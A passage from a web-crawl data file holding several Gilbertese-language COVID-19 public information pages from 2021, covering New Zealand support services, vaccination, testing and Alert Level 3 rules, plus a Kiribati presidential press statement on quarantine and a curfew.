Pfizer.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/safety-and-development\/covid-19-vaccines-development-approval-and-safety\/","date":"2021-09-16T09:59:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00080.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":687,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buokam n te mwane\nCOVID-19 financial support tool\nKo kona ni kabongana te COVID-19 financial support tool ni kakae buokam n te mwane aika ana kona n reke nakoim. Te tool ke te bwai ni mwakuri aio e tii kabongana te taetae ni I-Matang.\nKo na kaekai taian titiraki tabeua ake a na kaeti ma te kaotaota i aon aron am kani buokaki:\nam mwakuri bwa e uara, n aron te katoto buan am mwakuri ibukin te COVID-19\ntein arom, n aron te katoto am bitineti e a toki mwakurina\nke am tabo ni mwakuri e a kerikaki ana kakamwakuri ao ana karekemwane.\nTe bwai ni mwakuri aio e na tuangko aekan te buoka te mwane ao aekan ni buoka riki nakoim, ao te tabo ae ko kona ni karekei iai ke kakaean bwaninin rongorongoia.\nKabanemwane aika a riai\nNgkana e a tia ni bua am mwakuri ke e kerikaaki am aoa ni mwakuri ao e riai n reke nakoim te kabomwi ke te mwane ni ibuobuoki man te Work and Income.\nWork and Income e kona n buokiko ni kaitarai kabanemwane aika a karina n aron aikai:\n- amwarake\n- boon am rent ke te mortgage, am boarding, auti ni katantan, te mwaing nakon te mwenga ae e boou\n- karaoan uruaki ke onobwai nakon bwain te auti aika a maeu man te iti\n- karao wii n te tai ae e karina\n- bwainaoraki n te tai ae e karina\n- kanoaakin te tangke n ran.\nKo kona naba n tarebooniia Work and Income n 0800 559 009.\nKairakain kawaia aika iai aia kanganga ma aia mwane\nNgkana ko raraoma ibukin am kabwara tarau ibukin am tangomwane man kanganga man te COVID-19 ao ko riai n reitaki nakon am bangke ke te kambwana ni katangomwane n te tai ae e waekoa.\nTaian bangke ao tabo ni katangomwane ana mwakuri ma aia katitamwa ake a rootaki n te kanganga ibukin te mwane. Taan tangomwane iai inaomataia i aan te tua ni bubuti te bitaki nakon mwaitin aia oro tarau. E rawata aanga ni ibuobuoki nakoim inanon te tai aio.\nKataumwane ao babairean arom ni kamanena te mwane\nAna Botaki te tautaeka ni ibuobuoki ae te Sorted and MoneyTalks e kona ni buokiko ibukin am kataumwane ke babairean arom ni kamanena te mwane.\nSorted e kona n anga te ibuobuoki, kaira am iango ao ni kaoti bwai ni mwakuri ake a kona n reke man te intanete ke ko kona n imeeri email@example.com\nKo kona ni maroro ma taan rabakau n kabonganan te mwane man MoneyTalks.\nIbuobuoki ae karina nakoia naake anganaki te kariaiakaki n tiku n te aba i aan te temporary visa\nNgkana ko anganaki te temporary visa ao ko aki kona ni kaitara boon tikum ke okim nako abam ni kaineti ma te COVID-19, e kona n reke nakoim te ibuobuoki ae te Emergency Benefit.\nTe Emergency Benefit bon te mwane ae e na bwabwaka nakoim ni katoa wiki ibukin buokan maeum inanon am tai ni barongaa waekoan okim nako abam.\nAntai aika a na reke nakoia?\nE na kona n reke iroum te Emergency Benefit ngkana:\n- iai am \"temporary New Zealand visa\" ae akea ae e sponsor, n aron te visitor visa, te student visa ke te work visa\n- ko a reke n te kanganga ma te mwane ao ai akea riki angan reken buokam - te mwane ibukin boon te kantoka n te wanikiba n okira abam e aki warekaki bwa buokan am kanganga.\n- ke ko:\n- a tabe ni baronga okim nako abam n te moan angaraoi, ke\n- ko aki kona n okira abam ibukin tiatianakin te mwamwananga ibukin te COVID-19 ma ko na waekoa n oki n te tai are e a manga uki iai te kiba.\n- ko a tabe ni karekei anga ma kawai ni buoka arom, ni ikotaki ma kakaean am mwakuri, maroro ma am tia tei ibukin abam, ke aia ibuobuoki am utu, raraom ao botaki i aon Nutiran ao aba i tinaniku\n- iai am bwatibooti ae tuai bane taina\n- iai am akaunti n te bangke i Nutiran\n- iai am nambwa n te Inland Revenue (IRD).\nKo kona n uotarake am bubuti ibukin te Emergency Benefit ni karokoa 31 Aokati 2021.\nMarurungin am iango\nNgkana ko namakinna bwa ko a rotaki n am kanganga nako, e kakawaki bwa ko na maroro ma taan rabakau ibukin te kuakua.\nArom ni kawakina marurungin am iango\nIai bwai aika ti bane ni kona ni karaoi ni kateimatoa marurungin ara iango ma marurungin aia iango raora aika a bati n tangiraki:\n- Teimatoa n reitaki ma raraom ao am utu — aio ae kakawaki ibukin kateimatoan marurungin ara iango ao ni buoka aron ara namakin bwa ti mano man te kanganga, ni kauarerekea te rawawata ao te nakonnano.\n- Kinai raoi am namakin aika a reke — bon te bwai ae e riiriki i nanon maeura namakinan rakan kukureira, rawawatara, te ingainga, te raraoma ao te maku. Kariaia bwanan nanom n anganna ana tai ni kinai ao ni kabwaranakoi taian namakin n rabwatan.\n- Kateimatoa am taneiai n arona are ko wawaki iai — kataia ni wakin arom ni maium aika a na teimatoakataia n aki karaka arom aika a aki kamarurung n aron kakaean raun nanom man karakan te amwamwarake, mooi, te moko ke te moko te bwaiti ae maeu man te iti.\n- Kakawaria aomata aika ko a ataia bwa a na bae ni kainnanoa te ibuobuoki — ngkana ko ikarekebai nakoia nake iai namakinan te rawawata ke te tabeaianga irouia n tibwatibwa mangaia ao e na kona ni uaana nakoim ao nakon raom are ko buokia.\n- Kauarerekea am tai n onrain — tuoi kaongora n te rerio ma te tv ao te intanete inanon taai aika ko kataui n aron tetaina ke uatai n tebongina.\nAntai ae ko kona maroro mangaia\nIai rain n tareboon ni ibuobuoki aika a tauraoi ibukin karekean rongorongon taian buoka ao ibukin buokaia te koraki ibukin kamarurungan aia iango. Taian tieweti a tauraoi 24 te aoa ni katoa bong, 7 te bong n te wiki.\nTotokoan mwakuri n ioawawa n te utu ao mwakuri n tangako\nE rangi n riai bwa ko na bubuti te ibuobuoki ngkana ngkoe ke temanna ae kam reke n te kanganga. Ngkana iai ae ko kanamakinna bwa e na reke te ananga ni kabuanibwai nakon maeuna mairoun temanna ke boni irouna, reitaki nakoiia bureitiman, e ngae ngke ko bon aki koaua raoi iai.\nKamatairikiko ibukin mauriia ao mwengaraoiia ataei ao ikawai. Maroro ma raraom, am utu ke kain rarikim ngkana ko kainanoa aia boutoka, ke ngkana ko noria bwa iai kainanoan te ibuobuoki. Kamanena te kawai n reitaki n te intanete ni kateimatoa te rereitaki ao ni bon ongongora aromi bwa kam uara bon imarenami.\nNgkana ngkoe ae ko rotaki n te kanganga n te utu, ke mwakuri n tangako, ke ngkana iai temanna ae karaoa te kakamaku, te ananga ni kabuanibwai nakon maeum, waekoa kakaea buokam n te tai naba anne. Iai inaomatam bwa ko riai ni mano man te kabuanibwai.\nTabeua riki Itera ni Ibuobuoki aika a bongana\nA mwaiti riki itera ni ibuobuoki ao tieweti aika ana kona ni buokiko.\nWork and Income e kona ni ibuobuoki ni iteran te mwane ngkana e a uarereke am karekemwane ke ko a aki mwakuri, ni buokiko n am mwakuri, ao ni ibuobuoki ibukin am auti\nTareboon nakon: 0800 559 009\nImmigration New Zealand e tararuai ana tua ni kaetieti ao ana oin tua te Immigration New Zealand, ao man anne e boutoka rikiraken kaubwaira ao ni kakorakora te reitaki ma aaba nako n te aonnaba. A kona ni kaekai am titiraki ni kaineti ma te visa.\nTareboon nakon: 0508 558 855\nTe Citizens Advice Bureau e kona ni buokiko ni kamatatako i aon inaomatam ao kabaeam i aan te tua, ao n anganiko te ibuobuoki ae ko kainnanoia ni wakina are ko riai ni karaoia.\nTareboon nakon: 0800 367 222\nEmployment NZ e kona ni buokiko ngkana iai am titiraki ibukin am mwakuri.\nTareboon nakon: 0800 20 90 20\nFamily services directory iai irouia ongorongon taian botaki n ibuobuoki ibukiia utu ao iai aia tieweti ao burokuraem ibukin buokaia utu inanon Nutiran.\nImeeri: firstname.lastname@example.org\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/available-support\/support-for-individuals-and-families\/","date":"2021-09-16T10:46:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00105.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1329,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kakaea bwa tera te bae kona karaoia ngkana ko kainnoia bwa kona moantaai ni itinaki n te iti n totoko ibukin mwangam nako tinaniku ian te tangira aomata, ke ian bwai aika a kakawaki ibukin te aba.\nKo aki kona ni bubuti itinakim ni moantaai ibukin riki bwai tabeua.\nTe mwananga nako tinaniku ibukin te tangira aomata\nKo kona n bubuti itinakim ni moantaai ni kaineti ma te tangira aomata ngkana ko riai ni mwananga nako tinaniku ibukin:\n- karekean te bwainaoraki are e aki kona n reke i Nutiran ibukim ke ibukin te aomata are e mena ian am tararua n aekan (natim)\n- kawara am utu ni kaan are e rangi n mamara\n- Karaoa te tararua ae e rangi ni kakawaki ke te katantan ibukin te aomata are mena ian am tararua.\nNgkana kona mwanaga nako tinaniku imwain 31 bongin Aokati, ko kona ni karaoa am bubuti iaonrain ibukin itinakin ni moantaai n te iti n totokoa iaon ana uebutiati te Ministry of Health.\nTe mwananga are e rangi ni kakawaki ibukin te aba\nTao Ko bon kona ni itinaki ni moantaai ngkana ko kainnanoia bwa kona mwanganga nako tinaniku ibukin:\n- kamanoan ao katanan Nutiran ibukin inaomatana n tautaekanna i bon irouna\n- ngkana ngkoe temanna ana tia mwakuri te tautaeka ake a katabeaki ibukin tararuakia botonaomata n aron buoka nakon aba ianena, kaeka kanganga aika a riki n te aonnaba, ke boutokan kamarurungaia aban te Betebeke ao aba ake irarikia man butin te Covid-19 n te aonnaba\n- kaean botaki ake a karaoaki ake a bubura n aonnaba ike ko bon riai iai ni mwangana bwa ana tia tei Nutiran\n- iai rekerekem ma boboraoi ibukin iokinibwai ake a kakawaki ibukin te aba.\nA riai tabo ao botaki ake a irekereke ma aika ni karina te bubuti ibukim.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/applying-for-an-early-vaccination\/","date":"2021-09-23T18:31:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00643.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":295,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaongora iaon te Covid-19\nBairiki, Tarawa, 28th July 2021\nKamauri:\nNakoimi kaain Kiribati ni kabane mai Makin nako Arorae n ikotaki ma Banaba, Kiritimati, te aono n Raina ma Rawaki, ao ai n taabo nako ike kam mena iai.\nN ana tangira ma ana kakawakin Atuara ae moan te mwaaka nakoira n tatabemaniira nako ao Kam na bane n Mauri!\nBwatintia ake a roko mai New Zealand (Monday 26th July 2021)\nAu kaongora n te tai aio ena bon boboto iaoia uoman bwatintia ake a toka n te wanikiba are e roko mai Nu Tiran n te bong ae te Moanibong 26 Turai 2021, ibukin katoamauakin ana waaki te Tautaeka ao karikirake aika a kakawaki n aron are e a bon tia ni waakinaki.\nE kakawaki bwa e na mataata te botannaomata bwa a bon bane n iraki kanoan te kainibaaire iaon te katantan ke te SOP ibukin tuoakiia, kamwaingakiia ao tararuaakiia bwatintia aikai man moan mwanangaia ni karokoa rokoia ao rinnakoia n te tabo ni katantan iaon Tarawa.\nImwaain kibaia bwatintia aikai mai Nu Tiran ao e karaoaki te tutuo nakoia ao ni kainaki iaan mweengaia n aki kanakonakoaki tenibong imwaain te kiba ni kaineti ma te kainibaaire ibukin karokoaia bwatintia mai tinaniku (SOP) man aaba ake akea iai butinakon te aoraki ae te COVID-19 n aron Nu Tiran. E kamatoaaki man mwiin aia tutuo anne bwa bon akea irouia te Aoraki ae te COVID-19 ke e negative mwiin aia tutuo.\nNi kaineti ma ara SOP ao te tutuo nakoia naake a kaawakinaki n te tabo ni katantan, e na teimatoa ni kaakaraoaki nakoia n aia ka uoua ni bong imwiin rokoia, aia ka onoua ni bong ao aia ka tebwii ma aua ni bong imwaain kaotinakoaia.\nN rokoia iaon Tarawa ao e a tia te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki ni karaoa ana tutuo nakoia bwatintian te kiba anne n te Kauabong ae 27 Turai 2021.\nImwiin te tutuo ao e oti bwa temanna ma ibuakoia bwatintia aika uoman aikai, e tangira riki kamatoaakin mwiin ana tutuo ngkai a na moan tutuo e positive ke iai manin te COVID-19 irouna, ma n ana kauoua n tutuo ao e a manga negative, nanona e a manga raoiroi. Ai ngaia are e a riai ni manga tuoaki riki. I kan katerea naba bwa te bwatintia aei bon akea kanikinaean te Aoraki aio irouna n aron te kabuebue, te bekobeko, te nimarakiraki ao tabeua riki, ao man taraa n akea ana kanganga. N reitaki ma aio ao te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki e na karaoa riki ana tutuo ao n anaa katootoon raraaia ibukin karaoan tuoan mwaitin tautian rabwataia.\nIbukin maurin te botannaomata ao e baaireia ami Tautaeka bwa a na teimatoa n tiku bwatintia aikai ni kaokoroaki ao ni kawakinaki ni karokoa te tai are e tabwanin iai kamatoaan mwiin aia tutuo, ao ni kakoroa aia tai are 14 te bong ni kaineti ma te kainibaaire (SOP).\nAio are e karaoaki naba nakoia kaimoa ake a kuneaki iaon te kaibuke ngkoa.\nRokon te Iti ibukin te COVID-19\nN reitan riki au kaongoraa, ao n te Moanibong 26 Turai 2021 ao a tia ni manga roko riki Iiti ibukin te COVID-19 ae 24,000 mwaitiia ao ni kona n itinaki iai 12,000 te aomata. Aio are bon kakoroan are 20 te katebubua are e a tia n reke man te COVAX Facility. Te Iti aio are a na itinaki iai kaain Tarawa Teinainano ma Betio, ao e na waaki te iti man 2 n Aokati 2021. Koraki ake a tia n itinaki n te moan raaun, e na karaoaki itiia man 5 n Aokati 2021. E na manga bon katanoataaki babaire ibukin waakinakin te iti man te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki.\nCurfew Order:\nN au kaongora ae e nako, te Moanibong 26 Turai 2021, ao I mwaneweia bwa e nang manga waaki babaire ibukin kanoan te taneiai ae boou aio n irekereke ma butin te Aoraki ae te COVID-19 n te aba ae kaan ma Kiribati ae Biiti.\nN te tai aio ao e a tia ana babaire ami Tautaeka bwa e nang manga waaki kanoan te taneiai ae boou ni irekereke ma butin te Aoraki I Biiti ao katabwaninan mwiin te tutuo nakon te bwatintia are e roko n te kiba ae nako. Aio are e na waaki man te Kanimabong 30 Turai 2021 ti ibukiia kain Tarawa Teinaninano ao Betio:\nAikai ngkanne kanoan te taneiai ae e boou aika a nang manga karaoaki:\n- Mwaangan nako ao ana Botaki n Mwakuri te Tautaeka ma Bitineti, ana bon teimatoa n waaki n akea te raraoma ke tiatianakin kaako n te aro are e na kona n karekea te nako n nano iroun te botannaomata.\n- A kauringaki Botaki ni Makuri nako ma Bitineti bwa ana ira nanon ana kainibaire te Botaki n Mwakuri ibukin te Mauri ao Katoki aoraki n aron te tauraroa (social distancing), akean te taubai, kabonganakin rabunakin te ubu, te tebo bai ma te toobu, rabunan ubum ngkana ko bekobeko ao a mwaiti riki.\n- E na toki te nakonako ao aomata a riai n tiku iaan aia auti man te aoa tebwii ma teuana n te tairiki nakon te aoa aua n teingabong. Aio are e na reke iai aia tai tekoraki n katiai tabeia inanon te ngaina ao n okiri mwengaia imwain tebwii ma teuana n te tairiki, ma bon tii ake iai kariaiakakiia n reken aia pass man ana Aobiti Te Beretitenti inanon tain te mwakuri ibukin aia mwakuri aika a kakawaki ibukin te botannaomata. E na tauraoi te Ikotaki n Buretiman n tararua te rau iaon aio.\n- E na toki te ikoikotaki n bingo, n mooi nangkona ke n mooi manging. A kona aomata ni karekei nimaia ao ni bon kabonganai iaan mweengaia.\n- E aki kaungaaki te bobootaki n aekaia nako. Au bubuti nakoia Kautun Aaro, Kauntira ao Utu iaan mweenga nako bwa kamwa ibuobuoki ma ami botannaomata n aki kaungaa te bobotaki ni kaineti ma te taneiai ae boou aio (new normal).\n- E na teimatoa te mwamwananga nako aon aba ke bon imarenan abamwakoro nako ao nako aon Tarawa. Kaako ao bwaai n Aoraki a na bon teimatoa n nikiraki iaon aba n ikotaki ma Aoraki aika kakaiaki nakon te Oo n Aoraki i Tarawa. E kakawaki bwa mwamwananga aikai a na aaki riaon te tai are e baaireaki ibukin te aki nakonako are man te aoa tebwii ma teuana n te tairiki ni karokoa te aoa aua n te karangaina.\n- Ibukin reirei nako iaon Tarawa Teinainano ao Betio, a na bon teimatoa ni waaki.\nKainiin:\nImwain ae e nang totoki au kaongora n te tai aei, ao I kan kauataoa ana kauring te Tautaeka bwa e a bon riai n te tai aei ni moanibwai n taainako maurimi ni kabane ao katanakimi man te Aoraki ae e kakamaaku ae te COVID-19. E kakawaki te bobonnano ao te ongotaeka nakon iran nanon babaire ma kaetieti ibukin maurira ni kabane ao au bubuti bwa a na akea te nako n nano bwa e bon tiku ni kawakinaki ao ni kaokoroaki te bwatintia are e tuai ni kamatoaaki raoi mwiin ana tutuo n te tabo ni katantan.\nIbukin buokami ao kamatata riki tabeua ao kamwa reitaki ma te nambwa n tareboon ae akea boona ae 197.\nI kan kamatoa riki nakoimi kaain Kiribati bwa bon ti rongorongo man ana Aobiti te Beretitenti aika a na kakoauaki ao man iraki nanoia ao akea riki.\nKam bati n rabwa. Ara bau ni kabane Te Mauri, Te Raoi ao Te Tabomoa.\nAmi Beretitenti ae mangori\nTaneti Maamau.","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/covid19.gov.ki\/press-release\/te-beretitenti-press-statement-kiribati-28-july-2021","date":"2021-09-16T22:13:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053759.24\/warc\/CC-MAIN-20210916204111-20210916234111-00118.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1249,"character_repetition_ratio":0.053,"word_repetition_ratio":0.002,"special_characters_ratio":0.22,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te Karinan ni Kauring 3 ko riai:\n- Kawakina 2 te miita marangaia ma aomata i tinanikun mwengaia, ao 1 te miita n aia tabo ni mwakuri.\n- kabonganaan rabunan te ubu iaon bao ni mwamwananga ibukin te botanaomata ao ngkana ko nang tokara baom ni kiba, n te taxi ke ngkana ko ibuoka ni bao ma tabeman, n tabo ni kuakua ao n tabo ni bobwai ake a teimatoa ni uki. Ko kaumakaki bwa ko na riai ni kabongana rabunan te ubu ngkana e na kanganga te tauraroa ma are irarikim.\n- Teimatoa n teboka baim ao ni kamwaua.\n- Taua mwin taabo aika ko nako iai ao antai aika ko kaitibo ma ngaiia. Kabongana te NZ COVID Tracer app, te Covid-19 tracer booklet, ke ko bon korea mwin mwanagam.\nNgkana ko aoraki, tiku ni mwengam. Tai nakon te mwakuri ke te reirei. Ko na aki reitaki ma aomata.\nNgkana ko a tia n tuangaki bwa ko na kaokoroko ao i an te tua ko riai ni karaoia n te tai ae waekoa.\nNgkana ko karaoa am tutuo ibukin te COVID-19, i an te tua ko riai n tiku ni mwengam ni kaokoroko ni karokoa e reke mwin am tutuo iroum.\nTe Bobotaki\nTe botaki irouia aomata e kona ni karaoaki ma ti 10 kaina aika kariaiakaki, aio bon ti ibukin botaki n aron te mare, te mate ao te taunimate. Ma i an te tua ao e na riai n teimatoa tauan te maranga n tainako.\nN te Kauring ni Karinan 3 ao i an te tua ko riai n tiku ni mwengam n am mronron (bubble) ngkana arona bwa ko aki mwakuri ke n reirei. Ko kona ni karababa aio nakon aei:\n- reitaki ma am utu ni kaan\n- karekea am tia ibuobuoki\n- buokia aomata ake a kaokoroia ibukin te aoraki.\nE rang kakawaki ae ko na kawakina raoi am mronron (bubble). Kaokoroa am mronron ao ti karinia aomata ake a na kona ni buokiko ao ni kamanoko ao ni kamanoia naba ni kateimatoa te marurung.\nNangaoan te ubu ma Kamanoana\nIaan ana babaire te tautaeka ao e riai ni kabonganaki rabunan te ubu ngkana ti mena iaan karinan ni katauraoi 3:\n- iaon bao ni mwamwananga ibukin te botanaomata\n- ngkana ko nakon tabo ni kuakua\n- n tabo ni bitineti ke tieweti ake a uki, ike a nako iai katitamwati, n aron tubwamwakete, tabo n anai bwainaoraki, ao tabo ni bwa (petrol stations).\nE kaumwakaki kabonganan rabunan te ubu n te tai are ko kitana iai mwengam.\nTe reirei n te Kauring ni Karinan 3\nA uki taabo n reirei ibukia ataei n roroia nako ti nakoia natiia taan mwakuri n taabo aika kakawaki man kainanoaki. Taabo n reirei aikai a rangi ni mano ibukia ataei.\nTe mwananga i marenan kawa\nN te Kauring ni Karinan 3 ao te mwamwananga i marenan kawa e rang taburoroko.\nE a rang tararuaki ao ni kauarerekeaki mwanangaia aomata n otinako ao n rinnako n taabo aika mena i nanon te Kauring ni Karinan 3. Aio are e na buoka katokan butinakon te virus ke te man n aoraki. Ko kona ni karekea buokan kariaiakam ni mwananga rinanon taabo ake a mena i nanon taian Kauring ni Karinan.\nAna tabo te botanaomata\nI an te tua ao ana tabo te botanaomata a riai n in. Aio n ikotaki ma taabo n tangoboki (libraries), te museum, taabo n tamnei (cinema), taabo n amwarake (food court), taabo ni kamarurung (gym), taabo n tebotebo (pool), te playground ao te mwakete.\nTiaki naba aio te tai ni karaoaki mwakuri aika boou (new activities), ke ni karekeko n te kanganga ma am mronron (bubble). Ma ko bon kona ni karaoi mwakuri ni kakakibotu n am tabo aika e na akea iai te kanganga.\nTaabo ni mwakuri ao bitineti\nN te Kauring ni Karinan 3, ao iai kainibaire ibukin kamanoaia taan mwakuri, kauarerekea te reitaki ni waaki ma taan bobwai (customers) ao buoka totokoan butinakon te COVID-19. E rang kaungaki riki te mwakuri man te mwenga.\nN tain te kanganga ae e karina\nTabo ni mwakuri n aron mwakuri ni kuakua, taan mwakuri n tain kanganga aika a karina, Utilities n aron te iti ao te ran ao taan karaai kako ana reitinako ni mmwakuri. Taan ni mwakuri n tabo aikai ana riai n teimatoa ni iri kaetieti ibukin mauria ao katanaia man kabuanibwai. Ngkana e karina n reke te kanganga n aron (te urarake, te mwaiei, nao aika korakora ni irianaki ma te te angibuaka ae korakora, ke tabeua riki) ana riai taan mwakuri ni iri kaetieti ake a riai n karaoi n tain taian kanganga aika a karina. Te kanganga ae e karina e taoni nako bwai ake a riai ni karaoaki ni kaineti iaan karinan ni katatauraoi ibukin te COVID-19 ma e na teimatoa te tauraroa ni karaoaki.\nKo kainnanoa buokam?\nNgkana iai am kanganga n te mwane, am iango ke marurungin rabwatam e na kona n reke te buoka nakoim.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-alert-levels\/living-at-level-3\/","date":"2021-09-23T17:43:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00505.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":814,"character_repetition_ratio":0.065,"word_repetition_ratio":0.002,"special_characters_ratio":0.221,"stopwords_ratio":0.382,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngkana iai iroum kanikina n aorakin te mwaitoro ke te kabuebue, taiaoka tiku ni mwengam ao tarebonia te Healthline n akea boona iaon 0800 358 5453 ke am taokita n ongora aron te tutuo. Uringa, akea boon te tutuo.\nE nang kakawaki bwa ti na kona n ata manin te aoraki n tabo nako i nanon te community. Ai ngaia are ti kairoroia aomata ake iai kanikinaean te aoraki ae COVID-19 irouia bwa a na riai n tuoaki, e ngae ngkana ngkoe kain Nutiran, e kariaiakaki maekam iaon Nutiran ke te iruwa ngkoe.\nTutuo ao tararua ibukin COVID-19 akea boona ao e kona ni karaoaki nakoia kain Nutiran n ikotaki ma aomata ake a toki korakoran aia visa n tiku ikai.\nE na bon aki tibwaki taekan am tutuo nakon te Immigration Nutiran, e ngae ngkana e reke iroum te aoraki.\nKo aki kainanoa te National Health Index (NHI) numba ke kona kaota am ID bwa ko aonga n tuoaki. Ko riai ni kaota am tabo ni maeka ke aanga n reitaki nakoim nakoia koraki ake a karaoa am tutuo n te aro are a na kona n tuangko imwin am tutuo.\nTaabo ake ko kona ni karaoa iai am tuoaki\nTaabo n tutuo a bibitaki n tainako. Te tabo ae ko kona n ata mwin taabo n tutuo aika boou bon mairoun am Local District Health Boards ao Public Health Units.\nKo kona n karekei rongorongo ikai\nTe North Island\n- Taabo n tutuo ibukin Northland (external link)\n- Taabo n tutuo ibukin Auckland (external link)\n- Taabo n tutuo ibukin Waikato (external link)\n- Taabo n tutuo ibukin Wellington ao Kapiti Coast (external link)\n- Taabo n tutuo ibukin te Hutt Valley (external link)\n- Taabo n tutuo ibukin Wairarapa (external link)\n- Taabo n tutuo ibukin Hawkes Bay (external link)\n- Taabo n tutuo ibukin Whakatane, Bay of Plenty, Rotorua ao Taupo (external link)\n- Taabo n tutuo ibukin Mid Central (Otaki, Levin, Palmerston North, Fielding ao Dannevirke) (external link)\n- Taabo n tutuo ibukin Tairāwhiti (Gisborne) (external link)\n- Taabo n tutuo ibukin Taranaki (external link)\n- Taabo n tutuo ibukin Waitematā (external link)\n- Taabo n tutuo ibukin Whanganui (external link)\nTe South Island\n- Taabo n tutuo ibukin Canterbury (external link)\n- Taabo n tutuo ibukin Nelson-Marlborough (external link)\n- Taabo n tutuo ibukin South Canterbury (external link)\n- Taabo n tutuo ibukin te Southern (external link)\n- Taabo n tutuo ibukin te West Coast (external link)\nE kanga aron te tutuo\nNgkana ko tangiria n kan tuoaki ibukin te COVID-19, e na anaki te katoto ma iroum.\nE mwaiti aron anakin te katoto. Ae rang kakaraoaki riki bon karaoan te tutuo ma inanon te bwairi. Karaoan aio e kabonganaki kanga te bwaubwau ae uarereke ma kaina ae bon tau abwakina ibukin te mwakuri.\nTe katoto anne e na nakon te tabo n tutuo bwa e na tuoaki iai. Te mwakuri n tutuo aio e kona ni maan teutana imwain ae roko iroum mwiina.\nNgkana ko tuoaki ao ko na tuangaki bwa ningai ke e na kanga aron reken mwin am tutuo iroum. Ngkana e reke iroum te aoraki ke aki, ko na bon tuangaki mwin am tutuo.\nNgkana ko tutuo ko riai n irai nanon kamatata ake ko anganaki bwa tera ae kona karaoia imwina.\nTera ae na riki ngkana e reke te aoraki iroum\nNgkana e reke te aoraki iroum te tia kuakua e na reitaki ni maroro ma ngkoe ao tera ae kantaningaki ibukim, n ikotaki ma:\n- manra ngkoe n tiku n kaokoroko\n- baireakin kaokoroakim ma kain am auti nikabane\n- aomata ake ko a tia n reitaki ma ngaiia imwain am tutuo\nKo na tuangaki bwa ko na nakon taabo ake e a tia ni bairei te tautaeka bwa te tabo ibukia aoraki. N te aro aio ao e kona n kabebetea te boutoka nakon te utu ao man kabebetea aron butin te aoraki. E buoka am utu ao ni kauarerekea butinakon te man Aoraki. E na buoka naba kamanoaia am utu ao te community man te COVID-19.\nNgkana e reke te COVID-19 iroun tetei ke aia karo ke taan kawakinia ao a na riai n nakon te tabo ni kamarurung ae onoti, ti na boni mwakuri n kata ara kona bwa ataei a teimatoa ni mano inanon aia tararua aia karo ke taan kawakinia.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/protecting-your-community\/testing\/","date":"2021-09-23T17:37:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057427.71\/warc\/CC-MAIN-20210923165408-20210923195408-00042.warc.gz","language":"gil","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.000006914138794}","num_words":705,"character_repetition_ratio":0.17,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Angin mwakuri i Nutiran n te tai aei a kona ni karaoaki irouia aomata ake a tuai ni itinaki n te iti n totoko.\nKakaea bwa tera ae ena riki ngkana te mwakuri ae ko karaoia e nanga karaoaki iroun te tia mwakuri are ea tia ni itinaki n te iti n totoko ibukin COVID-19.\nAm tia kammwakuri e riai ni kawakina aki atakim ke kinakim n tai nako\nAm tia kammwakuri e aki kona n tibwa rongorongon itinakim n te iti n totoko ma tabeman riki, ma ti 